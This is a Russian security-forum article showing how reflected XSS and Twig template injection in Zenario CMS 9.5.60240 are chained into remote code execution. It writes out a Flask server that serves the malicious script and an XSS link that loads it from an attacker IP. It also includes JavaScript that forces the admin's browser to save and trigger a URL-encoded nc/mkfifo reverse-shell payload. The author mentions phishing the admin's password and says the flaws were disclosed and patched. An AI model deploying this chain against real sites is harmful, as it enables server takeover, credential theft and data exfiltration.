• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья RCE через XSS. Пишем эксплойт.

larchik

Администратор
07.06.2019
396
467
BIT
375
Всем привет.

Как-то скучным зимним вечером мне захотелось получить своих персональных CVE.
Для этого я стал выбирать CMS, которые хочу потестить и мой выбор пал на CMS Zenario.
Почему на эту CMS? Она мало известна, написана на PHP, при этом она постоянно патчится, то есть актуальна.
Забегая вперёд - разрабы этой CMS оперативно реагируют на репорты и открыты к общению.

Снимок экрана от 2024-06-29 01-09-34.png


Эта CMS мало известна в РФ, но в настоящее время поддерживается и у кого-то пользуется спросом.


Поиск уязвимостей.

И так, первым делом я разверну эту CMS на своем сервере.
Для эксперимента я выбрал ОС Ubuntu 22.04 TLS.
Уязвимая версия Zenario — 9.5.60240.
Процесс развертывания описывать не буду, можете найти его сами на .

Установка CMS происходила в точности, как указано в руководстве.
После установки не забудьте добавить свой сайт в /etc/hosts.
Сразу после установки в браузере доступен сайт и админка:

Снимок экрана от 2024-06-29 19-10-27.png


Админка:

Снимок экрана от 2024-06-29 19-11-17.png


Давайте походим по админке и поищем типичные уязвимости.
Мы быстро найдём XSS:

Снимок экрана от 2024-06-29 19-17-23.png


XSS-ок там было несколько, в том числе stored, но нас, как потенциального злоумышленника без доступа к админке, сейчас интересуют reflected XSS.
В дальнейшем эту ссылку с XSS мы подсунем админу и будем от его имени делать всякое нехорошее.
Что именно нехорошее? Надо искать.
Ищем уязвимости, которые приведут к выполнению кода на стороне сервера.

В документации к CMS указано, что тут используется шаблонизатор Twig. Кроме того, изучив функционал админки, можно найти такую форму:

Снимок экрана от 2024-06-29 19-26-29.png


Там внизу справа есть чек-бокс, которым можно включить Twig. Пробуем пэйлоад:

Снимок экрана от 2024-06-29 19-28-12.png


Переходим на сайт и видим, что пэйлоад отработал:

Снимок экрана от 2024-06-29 19-29-45.png


Итого, у нас есть XSS + SSTI. Объединим эти уязвимости и напишем эксплойт.


Эксплуатация.

С помощью XSS украсть куки админа не получится, так как для кук установлен флаг HttpOnly:

Снимок экрана от 2024-06-29 19-32-52.png


Но это не такая уж проблема. Мы можем с помощью XSS, например, подменить страницу логина в админку и стащить таким образом пароль.
Кроме того можем тащить любую инфу из админки и отправлять ее на свой сервер. После того, как админ введет логин и пароль, выполним SSTI и получим реверс-шелл.

Эксплойт будет состоять из двух частей. Первая — это javascript-файл, который будет делать всю грязную работу. Вторая — это веб-сервер, с которого будет подтягиваться вредоносный javascript.
Начнем с веб-сервера. Он будет на python с использованием фрэймворка Flask.

Python:
from flask import Flask, request, send_file

app = Flask(__name__)
log = logging.getLogger('werkzeug')
log.disabled = True

Наша жертва должна получить наш javascript, пропишем маршрут:

Python:
# Маршрут, по которму жертва получит файл с XSS
@app.route('/client.js', methods=['GET'])
def clientjs():
    print("[+] Sending Payload")
    return send_file('./client.js')

Если мы захотим получать креды админа, данные со страниц админки, еще какую-то инфу, то нужно будет реализовать функции для приема этих данных.
Запускаем сервер на порту 80:

Python:
app.run(host='0.0.0.0', port=80)

Приступаем к javascript. Я ни разу не разработчик, поэтому если кому-то мой код будет причинять боль, прошу понять и простить. Мне главное, чтоб работало )
Перед нами стоит задача — сделать такой запрос от имени админа, который добавит наш пэйлоад в нужную форму, сохранит эти данные и затем стриггерит выполнение пэйлоада.
Но сначала создадим нужную ссылку, не будем же мы ему отправлять алерт.
Ссылка будет выглядеть так:
http://zenariosite.com/zenario/admin/tree_explorer/index.php?type=section&id=<script type="text/javascript" src=http://192.168.56.102/client.js></script>

Далее включаем Burp и смотрим, как выполняются нужные нам запросы. Запрос на сохранение пэйлоада выглядит как-то так:

Снимок экрана от 2024-06-29 20-34-25.png


Внутри тела запроса можно найти пэйлоад, который нами контролируется. Попробуем его отправить с помощью javascript.

Сначала определим пэйлоад:
JavaScript:
var rce_payload = "%5B%27rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20192.168.56.101%204444%20%3E%2Ftmp%2Ff%27%5D%7Cfilter%28%27system%27%29"

Затем функцию SSTI, которая сохранит нашу полезную нагрузку и выполнит её:

JavaScript:
function ssti() {
    xhr1 = new XMLHttpRequest();
    body1 = '_fill=true' + encodeURIComponent(name);
    xhr1.open("POST", '/zenario/admin/admin_boxes.ajax.php?path=site_settings&id=head_and_foot', true);
    xhr1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    // для успешного выполнения запроса нужен заголовок Referer, но его нельзя отправить через XHR
    xhr1.send(body1);
    xhr1.onload = function() {
        pass = JSON.parse(xhr1.response)._sync.password;
        pass = pass.replaceAll('=', '~3D')
        pass = pass.replaceAll('+', '~2B')
        pass = pass.replaceAll('/', '~2F')
        cache_dir = JSON.parse(xhr1.response)._sync.cache_dir;
        iv = JSON.parse(xhr1.response)._sync.iv;
        xhr2 = new XMLHttpRequest();
        body2 = '_save=true&_confirm=1&_save_and_continue=0&_box=' +
                '%7B%22tabs%22%3A%7B%22head%22%3A%7B%22edit_mode%22%3A%7B%22on%22%3A1%7D%2C%22fields%22%3A%7B%22description%22%3A%7B%7D%2C%22sitewide_head%22%3A%7B%22current_value%22%3A%22~~7B~7B' +
                rce_payload +
                '~7D~7D%22%7D%2C%22sitewide_head.is_twig%22%3A%7B%22current_value%22%3Atrue%7D%7D%7D%2C%22body%22%3A%7B%22edit_mode%22%3A%7B%22on%22%3A1%7D%2C%22fields%22%3A%7B%22description%22%3A%7B%7D%2C%22sitewide_body%22%3A%7B%22current_value%22%3A%22%22%7D%2C%22sitewide_body.is_twig%22%3A%7B%22current_value%22%3A0%7D%7D%7D%2C%22foot%22%3A%7B%22edit_mode%22%3A%7B%22on%22%3A1%7D%2C%22fields%22%3A%7B%22description%22%3A%7B%7D%2C%22sitewide_foot%22%3A%7B%22current_value%22%3A%22%22%7D%2C%22sitewide_foot.is_twig%22%3A%7B%22current_value%22%3A0%7D%7D%7D%2C%22cookie_content%22%3A%7B%22edit_mode%22%3A%7B%22on%22%3A1%7D%2C%22fields%22%3A%7B%22sitewide_analytics_html_location%22%3A%7B%22current_value%22%3A%22~head%22%7D%2C%22sitewide_analytics_html%22%3A%7B%22current_value%22%3A%22%22%7D%2C%22sitewide_analytics_html.is_twig%22%3A%7B%22current_value%22%3A0%7D%2C%22sitewide_social_media_html_location%22%3A%7B%22current_value%22%3A%22~head%22%7D%2C%22sitewide_social_media_html%22%3A%7B%22current_value%22%3A%22%22%7D%2C%22sitewide_social_media_html.is_twig%22%3A%7B%22current_value%22%3A0%7D%7D%7D%7D%2C%22_sync%22%3A%7B%22cache_dir%22%3A%22~' +
                cache_dir +
                '%22%2C%22password%22%3A%22~' +
                pass +
                '%22%2C%22iv%22%3A%22~' +
                iv +
                '%22%2C%22session%22%3Afalse%7D%2C%22tab%22%3A%22~head%22%7D'
        xhr2.open("POST", '/zenario/admin/admin_boxes.ajax.php?path=site_settings&id=head_and_foot', true);
        xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        window.history.replaceState(null, '', '')
        xhr2.send(body2);
        // Запрос к главной странице сайта, чтоб отработал SSTI
        xhr3 = new XMLHttpRequest();
        xhr3.open("GET", '/', true);
        xhr3.send();
    };
}

Тут вы видите, что в js отправляется три запроса XHR. Объясню почему.
Первый запрос — добавление полезной нагрузки в форму.
Второй запрос — сохранение (подтверждение) данных в форме.
Третий запрос — активация нашей полезной нагрузки.

Если просто переотправить запрос из Burp, то нагрузка не сработает. Ответ придет такой:

Снимок экрана от 2024-06-29 23-40-56.png


Обратите внимание на отправку заголовка Referer.
Тут еще было несколько проблем, которые нужно было решить в целях успешной эксплуатации, но я их не раскрываю в статье намеренно.

Теперь попробуем всё вместе. Я у себя реализовал и кражу пароля, определение версии, сбор данных из админки.
После запуска сервера отправляем ссылку админу и надеемся, что он по ней перейдёт. Если перешёл, то:

photo_2024-03-03_03-54-02.jpg


Данные уязвимости были исправлены, вендор оказался отзывчивым.
Уязвимостям были присвоены CVE:


Всем салют! )
 

Вложения

  • Снимок экрана от 2024-06-29 19-26-29.png
    Снимок экрана от 2024-06-29 19-26-29.png
    44,4 КБ · Просмотры: 28
  • Снимок экрана от 2024-06-29 19-29-45.png
    Снимок экрана от 2024-06-29 19-29-45.png
    300,4 КБ · Просмотры: 18
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!